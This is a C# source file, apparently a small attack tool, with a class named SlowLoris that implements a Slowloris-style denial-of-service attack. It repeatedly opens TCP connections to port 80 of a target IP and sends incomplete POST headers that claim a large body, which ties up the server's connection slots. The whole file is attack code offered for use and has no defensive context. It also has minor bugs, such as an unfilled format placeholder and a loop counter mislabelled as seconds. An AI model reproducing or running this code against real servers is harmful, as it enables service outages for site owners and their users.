1. public class SlowLoris
  2. {
  3. static bool slow = false;
  4. static TcpClient[] tcp = new TcpClient[2];
  5. static TcpClient worktcp = new TcpClient();
  6. private static List<TcpClient> clients = null;
  7. private static Thread thrd = null;
  8. static IPAddress workip;
  10. public static void loris(string host, bool looping)
  11. {
  12. slow = looping;
  13. }
  15. public static void SendLoris(string ip)
  16. {
  17. try
  18. {
  19. clients = new List<TcpClient>();
  20. slow = true;
  21. int seconds = 0;
  22. while (slow)
  23. {
  24. if (seconds >= 30)
  25. {
  26. StopLoris();
  27. return;
  28. }
  30. thrd = new Thread(u =>
  31. {
  32. try
  33. {
  34. worktcp = new TcpClient();
  35. workip = IPAddress.Parse(ip);
  36. clients.Add(worktcp);
  38. worktcp.Connect(ip, 80);
  39. if (worktcp.Connected)
  40. {
  41. StreamWriter sw = new StreamWriter(worktcp.GetStream());
  42. sw.Write("POST / HTTP/1.1\r\nHost: {0} \r\nContent-length: 5235\r\n\r\n", workip.ToString());
  43. Console.Write(DateTimeNow.GetTimeHMS() + " POST / HTTP/1.1\r\n" + DateTimeNow.GetTimeHMS() + " Host: {0} \r\n" + DateTimeNow.GetTimeHMS() + " Content-length: 5235\r\n\r\n", workip.ToString());
  44. sw.Flush();
  45. }
  46. }
  47. catch(Exception ex)
  48. {
  49. Console.Write("[SlowLoris]: Errored: " + ex.Message + "\n:::: EXCEPTION (" + ex.ToString() + ") \n IP: " + ip + "\n");
  50. }
  51. });
  52. thrd.Start();
  53. Thread.Sleep(250);
  54. seconds++;
  55. }
  56. }
  57. catch (Exception ex)
  58. {
  59. Console.WriteLine("-Slowloris broke: " + ex.Message + " " + ex.StackTrace);
  60. }
  61. }
  63. public static void StopLoris()
  64. {
  65. if (clients != null)
  66. {
  67. foreach (TcpClient client in clients)
  68. {
  69. try
  70. {
  71. client.GetStream().Dispose();
  72. }
  73. catch { Console.WriteLine("Could not dispose tcp stream!"); }
  74. }
  75. }
  76. thrd.Abort();
  77. worktcp.Close();
  78. slow = false;
  79. clients = null;
  80. Console.Write(DateTimeNow.GetTimeHMS() + " stopped slowing..\n");
  81. }
  82. }